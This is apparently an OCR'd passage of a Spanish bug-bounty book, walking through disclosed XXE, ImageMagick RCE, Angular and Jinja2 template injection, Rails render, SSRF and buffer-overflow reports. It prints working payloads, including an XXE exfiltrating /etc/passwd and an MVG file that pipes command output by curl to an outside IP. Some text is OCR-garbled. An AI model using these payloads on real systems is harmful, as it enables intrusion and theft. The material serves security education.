%file; es sustituido en el valor de URL con los contenido del archivo /etc/passwd
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6. Wikiloc analiza el documento XML encontrando la entidad &send; la cual evalda la llamada
remota al Servidor de David con el contenido de /etc/passwd como un parametro en la URL

En sus propias palabras, Fin del Juego.

q& Recomendaciones

Como se ha mencionado, este es un gran ejemplo de como se pueden utilizar plantillas
XML de un sitio para incrustar tus propias entidades XML para que el archivo sea analizado
adecuadamente por el objetivo. En este caso, Wikiloc se esperaba un archivo .gpx y David
mantuvo esa estructura, insertando sus propias entidades XML dentro de las etiquetas que
se espera, especificamente la etiqueta <name>. Ademas, es interesante ver como servir de
regreso un archivo dtd malicioso el cual puede ser manejado para tener subsecuentemente
un objetivo haciendo solicitudes GET a tu servidor con el contenido del archivo como
parametros de una URL.

Resumen

XXE representa un vector de ataque interesante, con un gran potencial. Hay algunas formas en
que se puede lograr, como ya lo hemos visto, el cual incluye tomar una aplicaciéon vulnerable para
que imprima su archivo /etc/passwd, llamando a un servidor remoto con el archivo /etc/passwd y
llamando un archivo DTD remoto el que indica al analizador devolver la llamada al Servidor con el
archivo /etc/passwd.

Como hacker, manten un ojo atento a la carga de archivos, especialmente las que tienen algtn tipo
de formulario de XML, los cuales deberian siempre ser probados en busca de vulnerabilidades XXE.
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Descripcion

La ejecucion remota de codigo se refiere a la inyeccion del codigo que es interpretado y ejecutado
por una aplicacion vulnerable. Esto es causado tipicamente por un usuario que envia una entrada de
datos cuya informacion es utilizada por la aplicacién sin ningtn tipo de desinfeccion (sanitizacion)
o validacion.

Esto podria ser parecido a lo siguiente:

$var = $_CGET['page'];
eval($var);

Aqui, una aplicacion vulnerable podria utilizar la url index.php?page=1 Sin embargo, si un usuario
ingresa index.php?page=1;phpinfo() la aplicacion ejecutaria la funcién phpinfo() y devolver su
contenido.

Del mismo modo, la ejecucién remota de codigo se utiliza a veces para referirse a la Inyeccion de
Comandos, lo cual la OWASP lo diferencia. Con la Inyeccién de Comandos, segin la OWASP, una
aplicacion vulnerable ejecuta comandos arbitrarios en el sistema operativo anfitrion. De nuevo, esto
se hace posible por no desinfectar adecuadamente o por no validar la entrada de informacion del
usuario, lo que da lugar a que la entrada del usuario sea pasada a los comandos del sistema operativo.

En PHP, por ejemplo, podria verse como la entrada del usuario se pasa a la funcion system().
Ejemplos

1. Polyvore de ImageMagick

Dificultad: Alta

URL: Polyvore.com (Adquisicién de Yahoo)

Enlace del informe: http://nahamsec.com/exploiting-imagemagick-on-yahoo/**
Fecha del informe: 5 de Mayo, 2016

Recompensa recibida: $2,000

**http://nahamsec.com/exploiting-imagemagick-on-yahoo/
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Descripcion:

ImageMagick es un paquete de software utilizado para procesar imagenes, como el recorte, escalado,
etc. Hay Imagick de PHP, Rmagick de Ruby, ImageMagick de paperclip e ImageMagick de Node]JS,
todos hacen uso de esta biblioteca. Pero, en abril de 2016, multiples vulnerabilidades se dieron a
conocer sobre dicha biblioteca, una de las cuales podria ser explotada por atacantes para ejecutar
codigo remoto, que es en lo que me centraré.

En pocas palabras, ImageMagick no estaba filtrando correctamente los nombres de archivo que
se le pasaban, y eventualmente se utilizaban para ejecutar un método de llamada system(). Como
resultado, un atacante podria pasar comandos a ejecutar, como https://example.com”|ls” -la que se
ejecuta. Un ejemplo de ImageMagick se veria asi:

convertir 'https://example.com"|ls "-1la' out.png

Ahora, curiosamente, ImageMagick define su propia sintaxis para archivos Magick Vector Graphics
(MVG). Por lo tanto, un atacante podria crear un archivo exploit.mvg con el siguiente c6digo:

push graphic-context

viewbox O O 640 480

fill 'url(https://example.com/image. jpg"|ls "-1a)’
pop graphic-context

Esto entonces podria pasarse a la biblioteca y si un sitio es vulnerable, el codigo podria ser ejecutado
listando los archivos en el directorio.

Con estos antecedentes en mente, Ben Sadeghipour prob¢ la vulnerabilidad en un sitio adquirido
por Yahoo, Polyvore. Como se detalla en su blog, Ben probé por primera vez la vulnerabilidad en
un equipo local que tenia el control para confirmar que el archivo MVG funcionaba correctamente.
Aqui esta el codigo que utilizo:

push graphic-context

viewbox @ O 640 480

image over 0,0 0,0 'https://127.0.0.1/x.php?x="id | curl http://SOMEIPADDRESS:80\
80/ -d @- > /dev/null™"’

pop graphic-context

Aqui, se puede ver que esta usando la biblioteca cURL para hacer una llamada a SOMEIPADDRESS
(cambiar eso a cualquiera que sea la direccién IP de tu servidor). Si tienes éxito, deberias obtener
una respuesta como la siguiente:
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on/x-www- form-urlencoded

Ben Sadeghipour Respuesta de la prueba del servidor de ImageMagick

A continuacion, Ben visita Polyvore, sube el archivo como su imagen de perfil y recibio esta respuesta
en su servidor:
root@box:~#

root@ox:~# nc -1 -n -wv -p [:::]
listening on [any][ ...

connect to [{ | from (UNKNOWN) [[ || 53406

POST / HTTP/1.1

User-Agent: [

Host:

Accept: /
Content-Length:[ |
Content-Type: application/x-www-form-urlencoded

Ben Sadeghipour Respuesta de ImageMagick en Polyvore

qt Recomendaciones

Lalectura es una parte fundamental del hacking exitoso y eso incluye la lectura acerca de las
Exposiciones Comunes de Vulnerabilidades del Software (Identificadores CVE). Conocer
la existencia de vulnerabilidades pasadas puede ayudar cuando uno se encuentra con sitios
que no se han mantenido al dia con las actualizaciones de seguridad. En este caso, Yahoo
habia parcheado el servidor, pero lo habia hecho de manera incorrecta (no podria encontrar
una explicacion de qué fue lo que pasd). Como resultado, sabiendo de la vulnerabilidad
ImageMagick esto le permitié a Ben dirigirse especificamente a ese software, lo que dio
lugar a una recompensa de $2000.

Resumen

La ejecucion remota de cddigo, al igual que otras vulnerabilidades, por lo general es el resultado
que la entrada del usuario no se esta validando y no se ha manipulado adecuadamente. En el
ejemplo proporcionado, ImageMagick probablemente no estaba escapando el contenido que podria
ser malicioso. Esto, combinado con el conocimiento de Ben sobre la vulnerabilidad, le permiti6
especificamente buscar y probar areas que parecieran ser vulnerables. Con respecto a la busqueda
de este tipo de vulnerabilidades, no hay una respuesta rapida. Ten en cuenta los CVE que han sido
liberados y manten un ojo vigilante hacia el software que esta siendo utilizado por los sitios y que
pueden estar desactualizados ya que probablemente pueden ser vulnerables.
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Inyeccion de plantilla

Descripcion

Los motores de plantilla son herramientas que permiten a los desarrolladores / disefiadores separar
la l6gica de programacion de la presentacion de los datos al crear paginas web dindmicas. En otras
palabras, en lugar de tener codigo que recibe una solicitud HTTP, solamente consulta la informacion
necesaria de la base de datos y luego lo presenta al usuario en un archivo monolitico. Los motores de
plantilla separan la presentacion de esos datos del resto del codigo que lo calcula (dicho sea de paso,
los frameworks mas populares y los sistemas de gestion de contenido también separan la solicitud
HTTP de la consulta).

La inyeccion de plantilla del lado del servidor (SSTI) se produce cuando los motores muestran en
pantalla la entrada del usuario sin desinfectarla adecuadamente, parecido a lo que sucede con XSS.
Por ejemplo, Jinja2 es un lenguaje de plantillas para Python, y pidiendo prestado de nVisium, un
ejemplo de pagina de error 404 podria ser:

@app .errorhandler (404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<div class="center-content error">
<h1>0Opps! That page doesn't exist.</hi1>
<h3>%s</h3>
</div>
{%% endblock %%}
""" % (request.url)
return render_template_string(template), 404

« Fuente: (https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2)*

En este caso, la funcién page_not_found estd mostrando el HTML y el desarrollador esta forma-
teando la URL como una cadena y luego presentandola al usuario. Por lo tanto, si un atacante envia
http://foo.com/nope{{7*7}}, el codigo de los desarrolladores podria mostrar http://foo.com/nope49,
evaluando de esta forma la expresion que se ha pasado. La gravedad de esta aumenta cuando se pasa
cddigo Python real el cual Jinja2 lo evaluara.

Ahora, la gravedad en cada SSTI depende del motor de la plantilla que se utiliza y, en caso de existir,
la validacion del sitio que se esta llevando a cabo en el campo. Por ejemplo, Jinja2 se ha asociado
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con el acceso a archivos arbitrarios y ejecuciéon remota de cdédigo, el motor de plantillas Rails ERB
se ha asociado con la ejecuciéon remota de coédigo, el motor Liquid de Shopify permitié el acceso
a un numero limitado de métodos de Ruby, etc. Demostrando la gravedad de su descubrimiento
realmente va a depender de poner a prueba lo que sea posible. Y aunque es posible que puedas
evaluar algo de codigo, puede ser que al final no sea una vulnerabilidad importante. Por ejemplo,
he encontrado un SSTI mediante el uso del payload {{4+4}} el cual devolvi6 8. Sin embargo, cuando
envié {{4*4}}, el texto devuelto fue {{44}} porque el asterisco fue despojado. El campo también elimina
caracteres especiales como () y [] y s6lo permitié un maximo de 30 caracteres. Todo esto combinado
con efectividad termin6 en un SSTI inutil.

En contraste a las inyecciones de plantillas del lado del servidor estas son inyecciones de plantillas
del lado del cliente (CSTI). Nota rapida, aqui CSTI no es un acrénimo de una vulnerabilidad comin
al igual que en otros lugares del libro, por lo tanto, no recomendaria que se use en los informes.
Estos se producen cuando las aplicaciones que utilizan Frameworks como Angular]S, que incrustan
contenido del usuario dentro de las paginas web sin haberlo desinfectado antes. Esto es muy parecido
a SSTI excepto que es un Framework del lado del cliente el cual crea la vulnerabilidad. Las pruebas
para CSTI con Angular son parecidas a Jinja2 e implica el uso de {{ }} con alguna expresion en el
interior.

Ejemplos

1. Uber inyeccidon de plantilla de Angular

Dificultad: Alta

URL: developer.uber.com

Enlace del informe: https://hackerone.com/reports/125027%*
Fecha del informe: 22 de Marzo, 2016

Recompensa recibida: $3,000

Descripcion:

En marzo de 2016, James Kettle (uno de los desarrolladores de Burp Suite, una herramienta
recomendada en el capitulo de Herramientas) encontr6 una vulnerabilidad CSTI con la URL
https://developer.uber.com/docs/deep-linking?q=wrtz{{7*7}}. Segun su informe, si viste el codigo
fuente de la pagina renderizada, podria existir la cadena wrtz49, demostrando que la expresion habia
sido evaluada.

Ahora, curiosamente, Angular utiliza algo conocido como sandboxing o caja de arena, para
“mantener una separacion adecuada de las responsabilidades de la aplicacion”. A veces la separacion
proporcionada por la caja de arena estd diseflada como una caracteristica de seguridad para
limitar a lo que un posible atacante podria acceder. Sin embargo, en lo que respecta a Angular,

*https://hackerone.com/reports/125027
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la documentacion indica que “esta caja de arena no estd diseniada con la intenciéon de detener un
atacante que pueda editar la plantilla ... [y] puede ser posible ejecutar cédigo JavaScript arbitrario
en el interior de las llaves dobles...” Entonces James logr6 hacer precisamente eso.

Utilizando el siguiente Javascript, James fue capaz de salirse de la caja de arena de Angular y haber
ejecutado el codigo Javascript arbitrario:

1  https://developer.uber.com/docs/deep-linking?g=wrtz{{(_="".sub).call.call({}[$="\
2 constructor"].getOwnPropertyDescriptor(_._ proto__,$).value,@,"alert(1)")()}}zzz\
3 z

e 3| © hitps://developer uber.com/docs/desp-linkingTq=witaf{(_="" sub).call.call{}[$="constructor].getOwnPropertyDescriptor(_._proto_S).value0, "slert(1 rz £~ @ ¢ | @ Reference - Developer Platf...

UBER Developers

Message from webp.. RES

! 1

Inyecciéon de Angular en Uber Docs

Como se puede ver, esta vulnerabilidad podria utilizarse para secuestrar cuentas de desarrolladores
y aplicaciones asociadas.

Q& Recomendaciones

Permanece en la busqueda donde se haga uso de Angular]S y prueba los campos utilizando
la sintaxis de Angular {{ }}. Para hacerte la vida mas facil, obten el plugin Wappalizer de
Firefox - el cual te mostrara qué software esta utilizando un sitio, incluyendo el uso de
Angular]S.
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2. Inyeccioén de plantilla en Uber

Dificultad: Media

URL: riders.uber.com

Enlace del Informe: hackerone.com/reports/125980°°
Fecha del informe: 25 de Marzo, 2016

Recompensa recibida: $10,000

Descripcion:

Cuando Uber lanz6 su programa publico de recompensas por encontrar fallos en HackerOne, tam-
bién incluyeron un “mapa del tesoro” que se puede encontrar en su sitio, https://eng.uber.com/bug-
bounty.

El mapa detalla una serie de subdominios sensibles que utiliza Uber, incluyendo las tecnologias de
las cuales depende cada uno. Por lo tanto, con respecto al sitio en cuestion, riders.uber.com, la pila
incluia Python Flask y Node]JS. Asi que, con respecto a esta vulnerabilidad, Orange (el hacker) indico
que se utilizaba Flask y Jinja2 entonces probo la sintaxis en el campo name.

Ahora bien, durante las pruebas, Orange cuenta que cualquier cambio a un perfil en riders.uber.com
resulta en un mensaje de correo electronico y un mensaje de texto al propietario de la cuenta. Asi, de
acuerdo con el articulo en su blog, puso a prueba {{1+1}} lo que resulto en el analisis de la expresion
en el sitio y la impresion del nimero 2 en el correo electronico a si mismo.

Lo siguiente que intenté fue este payload {% For c in [1,2,3]%} {{c,c,c}} {% endfor %} lo cual ejecuta
un bucle for que resulta en lo siguiente en la pagina de perfil :

![blog.orange.tw Perfil de Uber después de la inyeccion del payload] (images/uber_ti_profile_pa-
ge.png)

y el correo electronico resultante:

55 e
hackerone.com reports/125980
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M Your Uber account information has been updated - - Gmail - Google Chrome

B https://mail.google.com/mail/u/0/?ui=28view=btop&

a ] L] ] % 5
support@uber.com
44 orange

X, Hiw i (EHR) v EREEN

i1, 1, 1)(2. 2, 2)(3, 3, 3)}

The following information on your Uber account has recently

been updated
- name

If you did not make this change or need assistance, please
visit: ( upda

2303 (U ZEE) TN

RABTT 7S SRIEIREIAL « 3

blog.orange.tw Email de Uber después de la inyeccion del payload

Como puedes ver, en la pagina de perfil, el texto actual se representa pero también el correo
electronico ejecutd el codigo y éste fue inyectado dentro del correo electrénico. Como resultado,
una vulnerabilidad existente que permite a un atacante ejecutar cédigo Python.

Ahora, Jinja2 trata de mitigar el dafio poniendo la ejecucion en la caja de arena, es decir, ahora
la funcionalidad esta limitada, pero ocasionalmente ésta puede ser omitida. Este informe fue
apoyado inicialmente por una entrada de blog (que subi6 un poco rapido) e incluy¢ algunas grandes
conexiones con el blog de nVisium.com (si, el mismo nVisium que ejecut6 la RCE de Rails), el cual

demostré como escaparse de la funcionalidad de la caja de arena:

« https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2

« https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii

q& Recomendaciones

Toma nota de cuales son las tecnologias que un sitio esta utilizando, estos suelen dar lugar a
informacioén clave en como se puede explotar un sitio. En este caso, Flask y Jinja2 resultaron
ser grandes vectores de ataque. Y, como es el caso de algunas de las vulnerabilidades
XSS, la vulnerabilidad puede no ser inmediata o facilmente evidente, asi que asegurate de
comprobar todos los lugares donde el texto se renderizé. En este caso, el nombre del perfil
en el sitio de Uber mostrd texto plano y ese fue el correo electronico, el que en realidad

reveld la vulnerabilidad.
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3. Renderizar Rails Dynamic

Dificultad: Media
URL: N/A - No disponible

Enlace del informe: [https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-
0752](https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752

Fecha del informe: 1 de Febrero, 2015
Recompensa recibida: N/A - No disponible
Descripcion:

En la investigacion de esta hazafia, nVisium proporciona un desglose impresionante y un camino
paso a paso a través de la explotacion. Basado en su escrito, los controladores de Ruby on Rails son
responsables de la logica de negocio en una aplicacion Rails. El framework proporciona algunas
funciones bastante robustas, incluyendo la capacidad de inferir en qué contenido deberia ser
presentado al usuario basado en valores simples pasados al método render.

Al trabajar con Rails, los desarrolladores tienen la capacidad de controlar de forma implicita o
explicitamente lo que es renderizado en funcioén del parametro pasado a la funcién. Por lo tanto,
los desarrolladores pueden representar de forma explicita el contenido ya sea como texto, JSON,
HTML o algtn otro archivo.

Con esta funcionalidad, los desarrolladores pueden tomar parametros pasados desde 1a URL, pasarlos
a Rails, los cuales determinaran el archivo a renderizar. Por lo tanto, Rails podria buscar algo como
app/ views/user/#{params|:plantilla]}.

Nvisium utiliza el ejemplo de pasarlo en el panel el cual podria mostrar un .html, .haml, una vista
de panel .html.erb. Al recibir esta llamada, Rails escaneara los directorios para todos los tipos de
archivos que coincidan con la convencién de Rails (el mantra de Rails es la convencion sobre la
configuracion). Sin embargo, cuando le dices a Rails que muestre algo y éste no puede encontrar el
archivo apropiado a utilizar, buscara en RAILS_ROOT/app/views, en RAILS_ROOT y en la raiz del
sistema.

Esto es parte del problema. RAILS_ROOT se refiere a la carpeta raiz de tu aplicacién, buscar alli no
tendria sentido. Pero la raiz del sistema lo hace, y eso es peligroso.

Por lo tanto, haciendo uso de esto, puedes pasar %2Fetc%2Fpasswd y Rails va a imprimir el archivo
/etc/passwd. Esto da miedo.

Ahora bien, llevando esto mas all, si se pasa <%25%3d1s%25>, esto se interpreta como <%= 1s %>.
En el lenguaje de plantillas erb, esto <%= %> significa un coédigo para ser ejecutado e impreso, asi
que, aqui seria ejecutado el comando Is o permitiria una ejecucion remota de codigo.
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q& Recomendaciones

Esta vulnerabilidad no podria existir en cada sitio de Rails - eso dependeria de cémo
se codifico el sitio. Como resultado, esto no es algo que una herramienta automatizada
necesariamente recogera. Pero mantente atento cuando sepas que un sitio esta construido
utilizando Rails ya que la mayoria siguen una convencion comun para las direcciones URL -
en lo mas basico, este es /controller/id para las solicitudes GET simples, o /controller/id/edit
para las ediciones, etc.

Cuando veas emerger este patron de URL, empieza a juguetear con eso. Pasale valores
inesperados y observa lo que obtienes de regreso.

Resumen

Durante la busqueda de vulnerabilidades, es una buena idea tratar de identificar la tecnologia
subyacente (ya sea un framework web, un motor de renderizado del frontend, etc.) para poder
encontrar posibles vectores de ataque. La variedad de diferentes motores de plantillas hace que sea
dificil decir exactamente lo que funcionara en todas las circunstancias, pero aqui es donde te ayudara
saber qué tipo de tecnologia se est4 utilizando. Permanece en la busqueda de oportunidades donde
el texto que tu controlas se te esta presentando nuevamente en la pagina o en algun otro lugar (como
en un correo electrénico).



Falsificacion de solicitud del lado del
servidor

Descripcion

La falsificacion de solicitud del lado del servidor, o SSRF, es una vulnerabilidad que permite a un
atacante utilizar un servidor objetivo para realizar solicitudes HTTP en nombre del atacante. Esto es
similar a la vulnerabilidad CSRF en que ambas vulnerabilidades realizan solicitudes HTTP sin que
la victima se de cuenta o lo reconozca. Con SSREF, la victima seria un servidor vulnerable, con CSRF,
poria ser el navegador del usuario.

El potencial aqui puede ser muy extenso e incluye:

« Divulgacion de informacion en la que se engaiia al servidor para que revele informacion sobre
si mismo, tal como se describe en el Ejemplo 1 utilizando metadatos de AWS EC2

« XSS si podemos conseguir que el servidor presente un archivo remoto HTML con Javascript
en él

Ejemplos

1. SSRF en ESEA y consultando metadatos de AWS

Dificultad: media
URL: https://play.esea.net/global/media_preview.php?url=

Enlace del informe: http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-
meta-data/>¢

Fecha del informe: 18 de Abril, 2016
Recompensa recibida: $1000
Descripcion:

E-Sports Entertainment Association (ESEA) es una comunidad de juegos de video competitiva
fundada por E-Sports Entertainment Association (ESEA). Recientemente se inicié un programa de
recompensas por errores del cual Brett Buerhaus encontré una magnifica vulnerabilidad SSRF.

>Shttp://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/
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Utilizando Google Dorking, Brett buscé site:https://play.esea.net/ ext:php. Esto hizo que Google
buscara archivos PHP en el dominio play.esea.net. Los resultados de la consulta incluyeron
https://play.esea.net/global/media_preview.php?url=.

En cuanto a la URL, parece como si ESEA puede representar el contenido de sitios externos.
Esta es una sefial de alerta cuando se busca SSRF. Como lo describié Brett, lo intenté con
su propio dominio: https://play.esea.net/global/media_preview.php?url=http://ziot.org. Pero no
hubo suerte. Resulta que, ESEA buscaba archivos de imagen por lo que intent6 un payload que
incluye una imagen, primero a través de Google como el dominio y, a continuacion, los suyos propios
https://play.esea.net/global/media_preview.php?url=http://ziot.org/1.png.

Exito.

Ahora, la vulnerabilidad real aqui radica en engafiar a un servidor en la presentacién de contenido
que no sean las imagenes previstas. En su articulo, Brett detalla los trucos tipicos como el uso de
un byte nulo (%00), ademas de barras diagonales y signos de interrogacion para eludir o engafiar

a la parte del backend. En su caso, él anadi6 un ? a la URL: https://play.esea.net/global/media_-
preview.php?url=http://ziot.org/?1.png.

Lo que esto hace es convertir la ruta del archivo anterior, 1.png en un parametro y no en parte de la
URL actual que esta siendo presentada. Como resultado, ESEA entrega la pagina web del servidor
de Brett. En otras palabras, pudo burlar la verificacién de la extension en la primera prueba.

Ahora, aqui, podrias tratar de ejecutar un payload XSS, como él lo describe. Basta con crear una
simple pagina HTML con Javascript, hacer que el sitio la muestre y eso es todo. Pero él fue mas alla.
Con el aporte de Ben Sadeghipour (lo recuerdan en la entrevista de Consejos Hacking Pro #1 en mi
canal de YouTube y por el RCE en Polyvore), puso a prueba las consultas a AWS EC2 para instancia
de metadatos.

EC2 es Elastic Compute Cloud de Amazon, o servidores de la nube. Estos proveen la posibilidad de
consultarlos a si mismos, a través de su IP, para extraer metadatos de la instancia. Este privilegio
esta, obviamente, bloqueado a la instancia misma, pero desde Brett tenia la capacidad de controlar
el contenido que el servidor estaba cargando, él podria conseguir que se haga la llamada a si mismo
y extraiga los metadatos.

La documentacion para EC2 esta aqui: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-
instance-metadata.html. Hay algo de informacién muy sensible que se puede agarrar.

q& Recomendaciones

Google Dorking es una gran herramienta que te ahorrara tiempo, exponiendo todo tipo de
exploits y vulnerabilidades posibles. Si estas buscando vulnerabilidades SSRF, permanece
buscando cualquier URL que parezca estar extrayendo contenido remoto. En este caso, fue
url= el que lo estaba proporcionando.

En segundo lugar, no te rindas con el primer pensamiento que tengas. Brett podria haber
reportado el payload XSS que no habria sido tan impactante. Excavando un poco mas
profundo, él fue capaz de exponer el verdadero potencial de esta vulnerabilidad. Pero
cuando lo hagas, ten cuidado de no sobrepasarte.
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Resumen

La falsificacion de solicitud del lado del servidor se produce cuando un servidor puede ser explotado
para realizar solicitudes en nombre de un atacante. Sin embargo, no todas las peticiones terminan
siendo explotables. Por ejemplo, sdlo porque un sitio te permite proporcionar un enlace a una imagen
que se va a copiar y utilizar en su propio sitio (como el ejemplo anterior de ESEA), no significa que
el servidor es vulnerable. Al descubrir que es sélo el primer paso después de lo cual tendras que
confirmar cual es el potencial. Con respecto a ESEA, mientras que el sitio estaba buscando archivos
de imagen, éste no estaba validando lo que recibia y se podria utilizar para mostrar un malicioso
XSS, asi como realizar solicitudes HTTP para sus propios metadatos de EC2.
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Descripcion

Desbordamiento de bufer

Un desbordamiento de bufer es una situacion en la que un programa escribe datos en un bufer, o
en un area de memoria, y tiene mas datos adicionales por escribir en el espacio que actualmente
tiene asignado. Piensa en esto en términos de una bandeja de cubitos de hielo, es posible que tenga
espacio para crear 12 pero s6lo quieres crear 10. Al llenar la bandeja, se aflade demasiada agua y en
lugar de llenar 10 cubitos, llenas 11. Acabas de desbordar el bufer de cubitos de hielo.

Los desbordamientos de buifer conducen, en el mejor de los casos, a un comportamiento erratico en
el programa y en el peor a una vulnerabilidad de seguridad. La razén es que, con un desbordamiento
de bufer, un programa vulnerable empieza a sobrescribir los datos seguros con datos inesperados,
los cuales podrian después ser llamados. Si eso sucede, ese cddigo sobrescrito podria ser algo
completamente diferente de lo que el programa espera, lo cual causa un error. O bien, un hacker
malicioso podria utilizar el desbordamiento para escribir y ejecutar codigo malicioso.

Aqui est4 una imagen de ejemplo de Apple’”:
Char destination[5]; char *source = “LARGER™;

strepy(destination, source);

L| A R| G| E R |HD

strncpyl(destination, source, sizeof(destination));

stricpy{destination, source, sizeof(destination)):

LIA|JR|G]|W

Ejemplo de desbordamiento del bifer

En este caso, el primer ejemplo muestra un desbordamiento de bufer potencial. La implementacién
de strcpy toma la cadena “mas grande” y la escribe en la memoria, sin tener en cuenta el espacio
disponible asignado (las cajas blancas) y la escribe en la memoria que no se esperaba (las cajas de
color rojo).

*"https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/ Articles/BufferOverflows.html
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Lectura fuera de los limites

Ademas de escribir los datos méas alld de la memoria asignada, otra vulnerabilidad radica en la
lectura de datos fuera de un limite de memoria. Este es un tipo de desbordamiento de bufer en que
la memoria se esta leyendo mas alla de lo que el bufer le deberia permitir.

Un ejemplo famoso y reciente de una vulnerabilidad de lectura de datos fuera del limite de memoria
es el Bug OpenSSL heartbleed, que se dio a conocer en Abril de 2014. Al momento de la divulgacion,
aproximadamente el 17% (500 k) de servidores web seguros de Internet certificado por entidades de
confianza se creia haber sido vulnerable al ataque (https://en.wikipedia.org/wiki/Heartbleed*®).

Heartbleed podia ser aprovechado para robar claves privadas del servidor, datos de sesion, contrase-
fias, etc. Este era ejecutado mediante el envio de un mensaje de “Solicitud Heartbeat” a un servidor
que enviaria exactamente el mismo mensaje al solicitante. El mensaje podria incluir un parametro
de longitud. Esos que eran vulnerables al ataque de memoria asignada para los mensajes basados en
el parametro de longitud no tomaban en cuenta el tamano real del mensaje.

Como resultado, el mensaje Heartbeat era aprovechado mediante el envio de un mensaje pequeno,
con un parametro de longitud de gran tamafio cuyos receptores vulnerables lo utilizaban para leer
un espacio de memoria adicional mas alla de lo que fue asignado en la memoria del mensaje. Aqui
esta una imagen de Wikipedia:

38https://en.wikipedia.org/wiki/Heartbleed
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@ Heartbeat — Normal usage

Server, send me
this 4 letter word
if you are there: bird

Client ~ "bird’

Server

W Heartbeat - Malicious usage

Server,send me Server
this 500 letter bird. Server
onlimnes | B
i there: "bird" ;
Client User Carol wants

to change
password to
"password 123".

~J

Ejemplo de Heartbleed

Mientras que un anélisis mas detallado de los desbordamientos de bufer, como la lectura fuera de
los limites y heartbleed estan mas alla del alcance de este libro, si estas interesado en aprender mas,
aqui hay algunos buenos recursos:

Documentacion de Apple®”

Wikipedia desbordamiento de bufer®

>*https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/BufferOverflows.html
https://en.wikipedia.org/wiki/Buffer_overflow
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Wikipedia diapositivas de NOP**
Proyecto Abierto de Seguridad de Aplicaciones Web®?

Heartbleed.com®®

Corrupciéon de memoria

La corrupcién de memoria es una técnica utilizada para exponer una vulnerabilidad al hacer que
el codigo lleve a cabo algtn tipo de comportamiento inusual o inesperado. El efecto es similar a un
desbordamiento de bufer donde la memoria se expone cuando no deberia ser.

Un ejemplo de esto es la inyecciéon de un byte nulo (Null Byte Injection). Esto ocurre cuando
una cadena con byte nulo o vacio %00 o 0x00 en hexadecimal, es provisto y esto conlleva a un
comportamiento no deseado por el programa receptor. En C/C++, o los lenguajes de programacion
de bajo nivel, un byte nulo representa el final de una cadena, o su terminacion. Esto puede indicarle
al programa que deje de procesar la cadena de inmediato y los bytes que vienen después del byte
nulo sean ignorados.

Esto es impactante cuando el cédigo se basa en la longitud de la cadena. Si un byte nulo se lee y el
proceso se detiene, una cadena que deberia ser de 10 caracteres puede ser convertida en una de 5.
Por ejemplo:

EstaEs%00MiCadena

Esta cadena debe tener una longitud de 15, pero si la cadena se finaliza con el byte nulo, su valor
seria 6. Esto es problematico con los lenguajes de bajo nivel que gestionan su propia memoria.

Ahora, con respecto a las aplicaciones web, esto se vuelve relevante cuando las aplicaciones web
interactian con bibliotecas, APIs externas, etc. que estan escritas en el lenguaje C. Al pasar %00 en
una direccion URL podria llevar a los atacantes a manipular los recursos web, incluyendo la lectura
o escritura de archivos basados en los permisos de la aplicaciéon web en el entorno mas amplio del
servidor. Especialmente cuando el lenguaje de programacion en cuestion, como PHP, esta escrito en
un lenguaje de programacién C en si mismo.

®Thttps://en.wikipedia.org/wiki/NOP_slide
“*https://www.owasp.org/index.php/Buffer_Overflow
“http://heartbleed.com
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Enlaces OWASP

Ver mas informacion en OWASP Desbordamiento de bufer* Revisa
[OWASP Revision de Codigo por rebaso y desbordamientos de bufer]
(https://www.owasp.org/index.php/Reviewing_Code_for_Buffer Overruns_and_Over-
flows) Revisa OWASP Pruebas de desbordamiento de bufer®® Revisa OWASP Pruebas de
desbordamiento de la pila®® Revisa OWASP Pruebas de desbordamiento de pila®” Consulta
mas informaciéon en OWASP incrustacion de coédigo nulo®®

Ejemplos

1. ftp_genlist() de PHP

Dificultad: Alta
URL: N/A - No disponible
Enlace del informe:https://bugs.php.net/bug.php?id=69545%

Fecha del informe: 12 de Mayo, 2015

Recompensa recibida: $500

Descripcion:

122

El lenguaje de programacion PHP esta escrito en el lenguaje de programacion C, el cual tiene el
placer de gestionar su propia memoria. Como se describié anteriormente, los desbordamientos de
bufer permiten a los usuarios maliciosos escribir en lo que deberia ser inaccesible en la memoria y
potencialmente conduce a una ejecucion remota de codigo.

En esta situacion, la funcion ftp_genlist() de la extension ftp, permitia un desbordamiento o el envio
de mas de ~4,294MB el cual habria sido escrito en un archivo temporal.

Esto a su vez, dio lugar a que el bufer asignado pudiera ser muy pequefio para contener los datos
escritos en el archivo temporal, lo cual result6 en un desbordamiento de pila al cargar el contenido
del archivo temporal de nuevo en la memoria.

“*https://www.owasp.org/index.php/Buffer_Overflows
“https://www.owasp.org/index.php/Testing_for_Buffer_Overflow_(OTG-INPVAL-014)
®Shttps://www.owasp.org/index.php/Testing_for_Heap_Overflow

*"https://www.owasp.org/index.php/Testing_for_Stack_Overflow

**https://www.owasp.org/index.php/Embedding_Null_Code
*https://bugs.php.net/bug.php?id=69545
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q& Recomendaciones

Los desbordamientos de memoria son una vulnerabilidad antigua muy bien conocida,
pero todavia es comun cuando se trata de aplicaciones que gestionan su propia memoria,
particularmente de C y C++. Si te encuentras con una aplicacién web basada en el lenguaje
C (las cuales estan escritas en PHP), los desbordamientos de bufer son una clara posibilidad.
Sin embargo, si estas recién iniciando, es probable que sea de mas provecho para tu
tiempo buscar vulnerabilidades relacionadas con inyecciones méas simples y regresar al
Desbordamiento de Bufer cuando cuentes con mas experiencia.

2. Médulo Hotshot de Python

Dificultad: Alta

URL: N/A - No disponible

Enlace del informe: http://bugs.python.org/issue24481"°
Fecha del informe: 20 de Junio, 2015

Recompensa recibida: $500

Descripcion:

Como PHP, el lenguaje de programacién Python esta escrito en el lenguaje de programacion C, y tal
como se ha mencionado anteriormente, gestionan su propia memoria. El mdédulo Hotshot de Python
es un reemplazo para el moédulo de perfil existente y esta escrito principalmente en C para lograr un
